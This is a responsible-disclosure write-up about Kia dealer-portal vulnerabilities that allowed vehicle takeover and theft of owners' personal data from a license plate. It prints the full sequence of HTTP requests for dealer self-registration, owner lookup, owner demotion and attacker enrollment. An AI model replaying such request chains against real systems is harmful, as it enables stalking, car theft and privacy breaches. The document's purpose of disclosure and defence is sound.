Remotely Controlling Cars With Just a License Plate

Introduction

On June 11th, 2024, we discovered a set of vulnerabilities in Kia vehicles that allowed remote control over key functions using only a license plate. These attacks could be executed remotely on any hardware-equipped vehicle in about 30 seconds, regardless of whether it had an active Kia Connect subscription.

Additionally, an attacker could silently obtain personal information, including the victim’s name, phone number, email address, and physical address. This would allow the attacker to add themselves as an invisible second user on the victim’s vehicle without their knowledge.

We built a tool to demonstrate the impact of these vulnerabilities where an attacker could simply (1) enter the license plate of a Kia vehicle, then (2) execute commands on the vehicle after around 30 seconds. These vulnerabilities have since been fixed, this tool was never released, and the Kia team has validated this was never exploited maliciously.

Vehicles Affected

Credit

Vulnerability Writeup

Around two years ago, a few hackers and I hunted for vulnerabilities on over a dozen different car companies. We discovered critical issues that would’ve allowed attackers to remotely locate, disable starters, unlock, and start an estimated 15.5 million vehicles. There was a big reaction to this. Paul Roberts, founder of The Security Ledger, even testified about these findings in a US congressional hearing.

Since so much time had passed, we decided to revisit a few of the larger companies to see if we couldn’t discover any new issues. The first one we spent time on was Kia.

When we began looking at Kia, we originally focused on the owners.kia.com website and the Kia Connect iOS app com.myuvo.link. Both of these applications were interesting because they could execute internet-to-vehicle commands.

While the owners website and the mobile app served the same purpose, they handled vehicle commands differently. The owners website used a backend reverse-proxy to forward user commands to the api.owners.kia.com backend service that was actually responsible for actually executing vehicle commands, whereas the mobile app instead accessed this API directly.

The following HTTP request shows how the owners.kia.com website will proxy an API request to the api.owners.kia.com host to unlock a car door.

HTTP Request to Unlock Car Door on the “owners.kia.com” website

POST /apps/services/owners/apigwServlet.html HTTP/2
Host: owners.kia.com
Httpmethod: GET
Apiurl: /door/unlock
Servicetype: postLoginCustomer
Cookie: JSESSIONID=SESSION_TOKEN;

After sending the above HTTP request that originated from the owners.kia.com website, the Kia backend will generate a Sid session ID header that is consumed by the backend API using our JSESSIONID as auth, then finally send the forwarded HTTP request to the api.owners.kia.com website in the following format.

HTTP Request Formed and Proxied by Server

GET /apigw/v1/rems/door/unlock HTTP/1.1
Host: api.owners.kia.com
Sid: 454817d4-b228-4103-a26f-884e362e8dee
Vinkey: 3ecc1a19-aefd-4188-a7fe-1723e1663d6e

The important headers in the above HTTP request are the Sid (session token) and Vinkey (UUID that indexes to VIN). There are various other headers included that are all necessary to access the API itself, but those are the two related to vehicle access controls. Both of the above HTTP requests were in the same area we had found the original Kia vulnerabilities in 2023.

Since we were already super familiar with the user side of things, we decided to look at the Kia Dealer website instead.

Targeting Kia Dealer Infrastructure

Something we’d never tested was how Kia actually performed vehicle activations for new purchases. After speaking to a few people, we learned that Kia would ask for your email address at the dealership and you’d receive a registration link to either register a new Kia account or add your newly purchased vehicle to your pre-existing Kia account.

We asked if they could share the registration links given to them by Kia, and nicely enough, they forwarded their emails. We copied the following URL from the hyperlink:

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

Super interesting! The kiaconnect.kdealer.com domain was one we’d never seen before. We opened the URL and saw the following endpoint:

In the above URL, the token parameter (otherwise known as a VIN Key) is an access token generated by a Kia dealer as a one-time grant to modify the vehicle specified in the vin parameter. After loading the above URL, the following HTTP request will be sent to validate that the token has not expired or been used.

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com

{
  "token": "985a49f0-1fe5-4d36-860e-d9b93272072b",
  "vin": "5XYP3DHC9NG310533",
  "scenarioType": 3,
  "loginPref": null
}

Very interesting. The HTTP request sent to validate the one-time access token was being sent to the same /apps/services/kdealer/apigwServlet.html URI as the previous owners.kia.com request, except this time, it was being sent on the Kia Connect dealer website. This likely meant that the dealer infrastructure had a similar forwarding proxy to an internal API for dealership functionality.

We dug through the JavaScript looking for interesting APIGW calls and found what appeared to be employee-only functionality. There were references to dealer vehicle lookup, account lookup, enroll, unenroll, and many more dealer related API calls.

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

To test if we could access any of these endpoints, we formed the HTTP request to the dealer APIGW endpoint with our own dealer token (Appid header) and the VIN of a vehicle that we owned.

Attempted HTTP Request to Search VIN using Kia Dealer APIGW Endpoint

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl

{
    "vin": "1HGBH41JXMN109186"
}

HTTP Response

HTTP/1.1 401 Unauthorized
Content-type: application/json

{
  "status": {
    "statusCode": 1,
    "errorType": 1,
    "errorCode": 1003,
    "errorMessage": "Session Key is either invalid or expired"
  }
}

Nope. It did not seem like the dealer endpoints wanted to work with the access token that was given to us via email when purchasing a new car.

We thought back to the original owners.kia.com website and then wondered: what if there was a way to just register as a dealer, generate an access token, then use that access token here? The kiaconnect.kdealer.com website seemed to have the same API format, so maybe we could just copy the format, register an account, and login?

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser

{
  "userCredential": {
    "firstName": "Sam",
    "lastName": "Curry",
    "userId": "[email protected]",
    "password": "FakePass123!",
    "acceptedTerms": 1
  }
}

It returned 200 OK! It seemed that we could register on the Kia Dealer website using the same HTTP request to register on the Kia Owners website. We quickly tried to login and generate an access token:

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser

{
  "userCredential": {
    "userId": "[email protected]",
    "password": "FakePass123!"
  }
}

The login was valid, the server returned an HTTP response with a session cookie.

HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000

We sent our generated access token to the previously unauthorized dealer APIGW endpoint to search a VIN.

HTTP Request to Search VIN using Kia Dealer APIGW Endpoint (with “dda” access token)

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl

{
    "vin": "1HGBH41JXMN109186"
}

HTTP Response

HTTP/1.1 200 OK
Content-type: application/json

{
  "payload": {
    "billingSubscriptionSupported": 1,
    "digitalKeySupported": 0,
    "generation": "3",
    "profiles": (
      {
        "address": {},
        "billSubscriptionStatus": 1,
        "digitalKeyStatus": 0,
        "email": "[email protected]",
        "enrollmentReqStatus": 1,
        "enrollmentStatus": 1,
        "firstName": "yeet",
        "lastName": "yeet",
        "loginId": "[email protected]",
        "phone": "4027181388",
        "phoneType": 3,
        "wifiHotspotStatus": 0
      }
    ),
    "vinAddedToAccount": 1,
    "wifiHotspotSupported": 1
  }
}

After registering and authenticating to a dealer account, we were able to generate a valid access token that could be used to call the backend dealer APIs! The HTTP response contained the vehicle owner’s name, phone number, and email address. We were able to authenticate into the dealer portal using our normal app credentials and the modified channel header. This meant that we could likely hit all other dealer endpoints.

Taking Over Vehicles

After sifting through the JavaScript for a few hours, we finally learned how the enrollment, unenrollment, and vehicle modification endpoints worked. The following four HTTP requests could be sent in order to gain access to a victim’s vehicle.

(1) Generate the Dealer Token and retrieve the “token” header from the HTTP Response

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser

{
  "userCredential": {
    "userId": "[email protected]",
    "password": "Fakepass123!"
  }
}

• Using the dealer account we created, we’ll auth through the /prof/authUser endpoint to obtain a session token.

(2) Fetch Victim’s Email Address and Phone Number

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
Appid: 123e4567-e89b-12d3-a456-426614174000

{
  "vin": "VIN"
}

• With the added session token header, we are able to access all dealer endpoints on the kiaconnect.kdealer.com website and can retrieve the victim’s name, phone number, and email.

(3) Modify Owner’s Previous Access using Leaked Email Address and VIN number

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/rvp
Appid: 123e4567-e89b-12d3-a456-426614174000

{
  "vin": "VIN",      
  "loginId": "[email protected]", 
  "dealerCode": "eDelivery"           
}

• We send this request to demote the owner of the vehicle so that we can add ourselves as the primary account holders. We must send the victim’s email here, which we obtained in step two.

(4) Add Attacker to Victim Vehicle

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /ownr/dicve
Appid: 123e4567-e89b-12d3-a456-426614174000

{
  "vin": "5XYRK4LFXMG016215",
  "loginId": "[email protected]"
}

• Finally, we’ll assign our attacker-controlled email as the primary owner of the vehicle. This will allow us to send arbitrary commands to the vehicle.

The above four HTTP requests could be used to send commands to pretty much any Kia vehicle made after 2013 (see “Vehicles Affected” table for specifics) using only the license plate.

From the victim’s side, there was no notification that their vehicle had been accessed nor their access permissions modified. An attacker could resolve someone’s license plate, enter their VIN through the API, then track them passively and send active commands like unlock, start, or honk.

The impact here was really obvious to us and we reported it to Kia immediately, but while they were working on a fix we decided to build a proof of concept dashboard that better demonstrated the impact of this vulnerability.

Creating License Plate Takeover Proof of Concept

The goal of our proof of concept UI was to simply have a dashboard where an attacker could (1) type in the license plate of a Kia vehicle, (2) retrieve the owner’s PII, then (3) execute commands on the vehicle.

Because we were adding the victims’ vehicle to our attacker controlled account, we decided to build the proof of concept to have an “exploit” and “garage” page. The exploit page would be used to actually take over the vehicles, then the garage page would be used to issue commands and locate the vehicles.

It worked via the following:

• The License Plate to VIN form uses a third-party API to convert license plate number to VIN
• The Takeover button would do the 4-step process to takeover a victim’s vehicle using the retrieved VIN from the license plate number, by (1) generating a dealer token via the login form, (2) retrieving the email/phone number from the victim’s account, (3) demoting the account owner to an account holder, (4) adding ourselves as the primary account holder.
• The Fetch Owner button would passively tell us the name, email, and phone number of the victim
• The Garage tab would allow us to list and execute commands on compromised vehicles

After building this tool, we recorded a proof of concept using a locked rental Kia. This video included at the start of the blog shows us taking over a vehicle using our phone, then being able to remotely lock/unlock, start/stop, honk, and locate the vehicle.

Conclusion

Cars will continue to have vulnerabilities, because in the same way that Meta could introduce a code change which would allow someone to takeover your Facebook account, car manufacturers could do the same for your vehicle.

Thanks for reading!

(shouts: teknogeek, dnz, ziot, xEHLE, umasi, shubs, computeruser, ic3qu33n)

Timeline

• 06/07/24 04:40 PM UTC – Inquiry sent to Kia team on correct place to report vulnerabilities
• 06/10/24 01:21 PM UTC – Response by Kia Team
• 06/11/24 10:41 PM UTC – Report sent to Kia
• 06/12/24 06:20 PM UTC – Email to bump ticket due to criticality
• 06/14/24 06:00 PM UTC – Response from Kia team that they were investigating
• 06/18/24 04:41 PM UTC – Email to bump ticket due to criticality, added screenshots of tool
• 06/20/24 02:54 AM UTC – Email to bump ticket, included screenshot of license plate to access tool
• 08/12/24 12:30 PM UTC – Email to bump ticket, asking for update
• 08/14/24 05:41 PM UTC – Response from Kia team indicating they had remediated the vulnerability and were performing testing
• 09/26/24 08:15 AM UTC – Disclosed vulnerability publicly after validating it had been remediated